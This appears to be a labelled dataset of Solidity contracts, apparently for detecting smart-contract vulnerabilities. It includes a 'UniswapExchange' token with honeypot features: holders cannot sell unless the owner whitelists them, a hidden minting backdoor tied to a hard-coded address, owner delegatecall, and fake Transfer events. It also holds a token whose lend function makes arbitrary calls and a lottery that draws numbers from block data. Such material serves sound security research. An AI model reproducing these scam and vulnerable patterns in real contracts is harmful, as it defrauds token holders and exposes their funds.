allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract ERC1003Caller is Ownable {
function makeCall(address _target, bytes _data) external payable onlyOwner returns (bool) {
return _target.call.value(msg.value)(_data);
}
}
contract ERC1003Token is ERC20 {
ERC1003Caller public caller_ = new ERC1003Caller();
address[] internal sendersStack_;
function approveAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
sendersStack_.push(msg.sender);
approve(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
sendersStack_.length -= 1;
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
transfer(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
address from = (_from != address(caller_)) ? _from : sendersStack_[sendersStack_.length - 1];
return super.transferFrom(from, _to, _value);
}
}
contract BasicMultiToken is Pausable, StandardToken, DetailedERC20, ERC1003Token, IBasicMultiToken {
using CheckedERC20 for ERC20;
ERC20[] public tokens;
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_bundle(_beneficiary, _amount, _tokenAmounts);
}
function bundle(address _beneficiary, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_bundle(_beneficiary, _amount, tokenAmounts);
}
function unbundle(address _beneficiary, uint256 _value) public {
unbundleSome(_beneficiary, _value, tokens);
}
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public {
require(_tokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Unbundle(msg.sender, _beneficiary, _value);
emit Transfer(msg.sender, 0, _value);
for (uint i = 0; i < _tokens.length; i++) {
for (uint j = 0; j < i; j++) {
require(_tokens[i] != _tokens[j], "unbundleSome: should not unbundle same token multiple times");
}
uint256 tokenAmount = _tokens[i].balanceOf(this).mul(_value).div(totalSupply);
_tokens[i].checkedTransfer(_beneficiary, tokenAmount);
}
}
function _bundle(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) internal whenNotPaused {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
uint256 prevBalance = tokens[i].balanceOf(this);
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]);
require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior");
}
totalSupply_ = totalSupply_.add(_amount);
balances[_beneficiary] = balances[_beneficiary].add(_amount);
emit Bundle(msg.sender, _beneficiary, _amount);
emit Transfer(0, _beneficiary, _amount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
_token.transfer(_to, _amount);
require(caller_.makeCall.value(msg.value)(_target, _data), "lend: arbitrary call failed");
require(_token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled");
}
function tokensCount() public view returns(uint) {
return tokens.length;
}
function tokens(uint _index) public view returns(ERC20) {
return tokens[_index];
}
function allTokens() public view returns(ERC20[] _tokens) {
_tokens = tokens;
}
function allBalances() public view returns(uint256[] _balances) {
_balances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_balances[i] = tokens[i].balanceOf(this);
}
}
function allDecimals() public view returns(uint8[] _decimals) {
_decimals = new uint8[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_decimals[i] = DetailedERC20(tokens[i]).decimals();
}
}
function allTokensDecimalsBalances() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances) {
_tokens = allTokens();
_decimals = allDecimals();
_balances = allBalances();
}
}
contract MultiToken is IMultiToken, BasicMultiToken {
using CheckedERC20 for ERC20;
uint inLendingMode;
uint256 internal minimalWeight;
mapping(address => uint256) public weights;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
if (minimalWeight == 0 || minimalWeight < _weights[i]) {
minimalWeight = _weights[i];
}
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = _amount.mul(toBalance).mul(weights[_fromToken]).div(
_amount.mul(weights[_fromToken]).div(minimalWeight).add(fromBalance)
);
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
require(inLendingMode == 0);
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
ERC20(_fromToken).checkedTransferFrom(msg.sender, this, _amount);
ERC20(_toToken).checkedTransfer(msg.sender, returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
inLendingMode += 1;
super.lend(_to, _token, _amount, _target, _data);
inLendingMode -= 1;
}
function allWeights() public view returns(uint256[] _weights) {
_weights = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
_weights[i] = weights[tokens[i]];
}
}
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights) {
(_tokens, _decimals, _balances) = allTokensDecimalsBalances();
_weights = allWeights();
}
}
contract FeeMultiToken is Ownable, MultiToken {
using CheckedERC20 for ERC20;
uint256 public constant ONE_HUNDRED_PERCRENTS = 1000000;
uint256 public lendFee;
uint256 public changeFee;
uint256 public refferalFee;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 ) public {
super.init(_tokens, _weights, _name, _symbol, 18);
}
function setLendFee(uint256 _lendFee) public onlyOwner {
require(_lendFee <= 30000, "setLendFee: fee should be not greater than 3%");
lendFee = _lendFee;
}
function setChangeFee(uint256 _changeFee) public onlyOwner {
require(_changeFee <= 30000, "setChangeFee: fee should be not greater than 3%");
changeFee = _changeFee;
}
function setRefferalFee(uint256 _refferalFee) public onlyOwner {
require(_refferalFee <= 500000, "setChangeFee: fee should be not greater than 50% of changeFee");
refferalFee = _refferalFee;
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
returnAmount = super.getReturn(_fromToken, _toToken, _amount).mul(ONE_HUNDRED_PERCRENTS.sub(changeFee)).div(ONE_HUNDRED_PERCRENTS);
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = changeWithRef(_fromToken, _toToken, _amount, _minReturn, 0);
}
function changeWithRef(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn, address _ref) public returns(uint256 returnAmount) {
returnAmount = super.change(_fromToken, _toToken, _amount, _minReturn);
uint256 refferalAmount = returnAmount
.mul(changeFee).div(ONE_HUNDRED_PERCRENTS.sub(changeFee))
.mul(refferalFee).div(ONE_HUNDRED_PERCRENTS);
ERC20(_toToken).checkedTransfer(_ref, refferalAmount);
}
function lend(address _to, ERC20 _token, uint256 _amount, address _target, bytes _data) public payable {
uint256 prevBalance = _token.balanceOf(this);
super.lend(_to, _token, _amount, _target, _data);
require(_token.balanceOf(this) >= prevBalance.mul(ONE_HUNDRED_PERCRENTS.add(lendFee)).div(ONE_HUNDRED_PERCRENTS), "lend: tokens must be returned with lend fee");
}
}
contract MultiTokenDeployer is Ownable, IDeployer {
function deploy(bytes data) external onlyOwner returns(address) {
require(
(data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15)
);
FeeMultiToken mtkn = new FeeMultiToken();
require(address(mtkn).call(data));
mtkn.transferOwnership(msg.sender);
return mtkn;
}
} | 1 | 5,315 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,809 |
pragma solidity ^0.4.25;
interface Snip3DInterface {
function() payable external;
function sendInSoldier(address masternode) external payable;
function fetchdivs(address toupdate) external;
function shootSemiRandom() external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Snip3D is Owned {
using SafeMath for uint;
Snip3DInterface constant Snip3Dcontract_ = Snip3DInterface(0x6D534b48835701312ebc904d4b37e54D4f7D039f);
function soldierUp () onlyOwner public payable {
Snip3Dcontract_.sendInSoldier.value(0.1 ether)(msg.sender);
}
function shoot () onlyOwner public {
Snip3Dcontract_.shootSemiRandom();
}
function fetchdivs () onlyOwner public {
Snip3Dcontract_.fetchdivs(address(this));
}
function fetchBalance () onlyOwner public {
msg.sender.transfer(address(this).balance);
}
} | 0 | 791 |
pragma solidity ^0.4.24;
contract DigitalGame {
uint constant MIN_BET_MONEY = 10 finney;
uint constant MAX_BET_MONEY = 10 ether;
uint constant MIN_BET_NUMBER = 2;
uint constant MAX_STAGE = 4;
uint constant FIRST_GENERATION_REWARD = 3;
uint constant SECOND_GENERATION_REWARD = 2;
uint constant THIRD_GENERATION_REWARD = 1;
address public OWNER_ADDR;
address public RECOMM_ADDR;
address public SPARE_RECOMM_ADDR;
struct UserRecomm {
address addr;
}
struct StageInfo {
uint round;
bytes32 seedHash;
uint userNumber;
uint amount;
uint lastTime;
}
struct UserBet {
address addr;
uint amount;
uint[] content;
uint count;
uint createAt;
}
address[] private userRecomms;
UserBet[] private WaitAwardBets;
mapping(uint => StageInfo) public stages;
mapping(address => address) public users;
mapping(uint => UserBet[]) public userBets;
mapping(uint => mapping(uint => mapping(address => bool))) private userBetAddrs;
event eventUserBet(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint createAt
);
event eventLottery(
string eventType,
uint stage,
uint round,
uint[] lotteryContent,
uint createAt
);
event eventDividend(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint level,
address recommAddr,
uint recommReward,
uint createAt
);
event eventReward(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint[] lotteryContent,
uint reward,
uint createAt
);
modifier checkBetTime(uint lastTime) {
require(now <= lastTime, 'Current time is not allowed to bet');
_;
}
modifier checkRewardTime(uint lastTime) {
require(
now >= lastTime + 1 hours,
'Current time is not allowed to reward'
);
_;
}
modifier isSecretNumber(uint stage, string seed) {
require(
keccak256(abi.encodePacked(seed)) == stages[stage].seedHash,
'Encrypted numbers are illegal'
);
_;
}
modifier verifyStage(uint stage) {
require(
stage >= 1 && stage <= MAX_STAGE,
'Stage no greater than MAX_STAGE'
);
_;
}
modifier verifySeedHash(uint stage, bytes32 seedHash) {
require(
stages[stage].seedHash == seedHash && seedHash != 0,
'The hash of the stage is illegal'
);
_;
}
modifier onlyOwner() {
require(OWNER_ADDR == msg.sender, 'Permission denied');
_;
}
constructor(bytes32[4] hashes, uint lastTime) public {
for (uint i = 1; i <= MAX_STAGE; i++) {
stages[i].round = 1;
stages[i].seedHash = hashes[i-1];
stages[i].userNumber = 0;
stages[i].amount = 0;
stages[i].lastTime = lastTime;
}
OWNER_ADDR = msg.sender;
RECOMM_ADDR = msg.sender;
SPARE_RECOMM_ADDR = msg.sender;
}
function bet(
uint stage,
uint round,
uint[] content,
uint count,
address recommAddr,
bytes32 seedHash
) public
payable
verifyStage(stage)
verifySeedHash(stage, seedHash)
checkBetTime(stages[stage].lastTime) {
require(stages[stage].round == round, 'Round illegal');
require(content.length == 3, 'The bet is 3 digits');
require((
msg.value >= MIN_BET_MONEY
&& msg.value <= MAX_BET_MONEY
&& msg.value == MIN_BET_MONEY * (10 ** (stage - 1)) * count
),
'The amount of the bet is illegal'
);
require(msg.sender != recommAddr, 'The recommender cannot be himself');
if (users[msg.sender] == 0) {
if (recommAddr != RECOMM_ADDR) {
require(
users[recommAddr] != 0,
'Referrer is not legal'
);
}
users[msg.sender] = recommAddr;
}
generateUserRelation(msg.sender, 3);
require(userRecomms.length <= 3, 'User relationship error');
sendInviteDividends(stage, round, count, content);
if (!userBetAddrs[stage][stages[stage].round][msg.sender]) {
stages[stage].userNumber++;
userBetAddrs[stage][stages[stage].round][msg.sender] = true;
}
userBets[stage].push(UserBet(
msg.sender,
msg.value,
content,
count,
now
));
emit eventUserBet(
'userBet',
msg.sender,
msg.value,
stage,
round,
count,
content,
now
);
}
function generateUserRelation(
address addr,
uint generation
) private returns(bool) {
userRecomms.push(users[addr]);
if (users[addr] != RECOMM_ADDR && users[addr] != 0 && generation > 1) {
generateUserRelation(users[addr], generation - 1);
}
}
function sendInviteDividends(
uint stage,
uint round,
uint count,
uint[] content
) private {
uint[3] memory GENERATION_REWARD = [
FIRST_GENERATION_REWARD,
SECOND_GENERATION_REWARD,
THIRD_GENERATION_REWARD
];
uint recomms = 0;
for (uint j = 0; j < userRecomms.length; j++) {
recomms += msg.value * GENERATION_REWARD[j] / 100;
userRecomms[j].transfer(msg.value * GENERATION_REWARD[j] / 100);
emit eventDividend(
'dividend',
msg.sender,
msg.value,
stage,
round,
count,
content,
j,
userRecomms[j],
msg.value * GENERATION_REWARD[j] / 100,
now
);
}
stages[stage].amount += (msg.value - recomms);
delete userRecomms;
}
function distributionReward(
uint stage,
string seed,
bytes32 seedHash
) public
checkRewardTime(stages[stage].lastTime)
isSecretNumber(stage, seed)
verifyStage(stage)
onlyOwner {
if (stages[stage].userNumber >= MIN_BET_NUMBER) {
uint[] memory randoms = generateRandom(
seed,
stage,
userBets[stage].length
);
require(randoms.length == 3, 'Random number is illegal');
bool isReward = CalcWinnersAndReward(randoms, stage);
emit eventLottery(
'lottery',
stage,
stages[stage].round,
randoms,
now
);
if (isReward) {
stages[stage].amount = 0;
}
delete userBets[stage];
stages[stage].round += 1;
stages[stage].userNumber = 0;
stages[stage].seedHash = seedHash;
stages[stage].lastTime += 24 hours;
} else {
stages[stage].lastTime += 24 hours;
}
}
function CalcWinnersAndReward(
uint[] randoms,
uint stage
) private onlyOwner returns(bool) {
uint counts = 0;
for (uint i = 0; i < userBets[stage].length; i++) {
if (randoms[0] == userBets[stage][i].content[0]
&& randoms[1] == userBets[stage][i].content[1]
&& randoms[2] == userBets[stage][i].content[2]) {
counts = counts + userBets[stage][i].count;
WaitAwardBets.push(UserBet(
userBets[stage][i].addr,
userBets[stage][i].amount,
userBets[stage][i].content,
userBets[stage][i].count,
userBets[stage][i].createAt
));
}
}
if (WaitAwardBets.length == 0) {
for (uint j = 0; j < userBets[stage].length; j++) {
if ((randoms[0] == userBets[stage][j].content[0]
&& randoms[1] == userBets[stage][j].content[1])
|| (randoms[1] == userBets[stage][j].content[1]
&& randoms[2] == userBets[stage][j].content[2])
|| (randoms[0] == userBets[stage][j].content[0]
&& randoms[2] == userBets[stage][j].content[2])) {
counts += userBets[stage][j].count;
WaitAwardBets.push(UserBet(
userBets[stage][j].addr,
userBets[stage][j].amount,
userBets[stage][j].content,
userBets[stage][j].count,
userBets[stage][j].createAt
));
}
}
}
if (WaitAwardBets.length == 0) {
for (uint k = 0; k < userBets[stage].length; k++) {
if (randoms[0] == userBets[stage][k].content[0]
|| randoms[1] == userBets[stage][k].content[1]
|| randoms[2] == userBets[stage][k].content[2]) {
counts += userBets[stage][k].count;
WaitAwardBets.push(UserBet(
userBets[stage][k].addr,
userBets[stage][k].amount,
userBets[stage][k].content,
userBets[stage][k].count,
userBets[stage][k].createAt
));
}
}
}
uint extractReward = stages[stage].amount / 100;
OWNER_ADDR.transfer(extractReward);
RECOMM_ADDR.transfer(extractReward);
SPARE_RECOMM_ADDR.transfer(extractReward);
if (WaitAwardBets.length != 0) {
issueReward(stage, extractReward, randoms, counts);
delete WaitAwardBets;
return true;
}
stages[stage].amount = stages[stage].amount - (extractReward * 3);
return false;
}
function issueReward(
uint stage,
uint extractReward,
uint[] randoms,
uint counts
) private onlyOwner {
uint userAward = stages[stage].amount - (extractReward * 3);
for (uint m = 0; m < WaitAwardBets.length; m++) {
uint reward = userAward * WaitAwardBets[m].count / counts;
WaitAwardBets[m].addr.transfer(reward);
emit eventReward(
'reward',
WaitAwardBets[m].addr,
WaitAwardBets[m].amount,
stage,
stages[stage].round,
WaitAwardBets[m].count,
WaitAwardBets[m].content,
randoms,
reward,
now
);
}
}
function generateRandom(
string seed,
uint stage,
uint betNum
) private view onlyOwner
isSecretNumber(stage, seed) returns(uint[]) {
uint[] memory randoms = new uint[](3);
for (uint i = 0; i < 3; i++) {
randoms[i] = uint(
keccak256(abi.encodePacked(betNum, block.difficulty, seed, now, i))
) % 9 + 1;
}
return randoms;
}
function setDefaultRecommAddr(address _RECOMM_ADDR) public onlyOwner {
RECOMM_ADDR = _RECOMM_ADDR;
}
function setSpareRecommAddr(address _SPARE_RECOMM_ADDR) public onlyOwner {
SPARE_RECOMM_ADDR = _SPARE_RECOMM_ADDR;
}
} | 0 | 792 |
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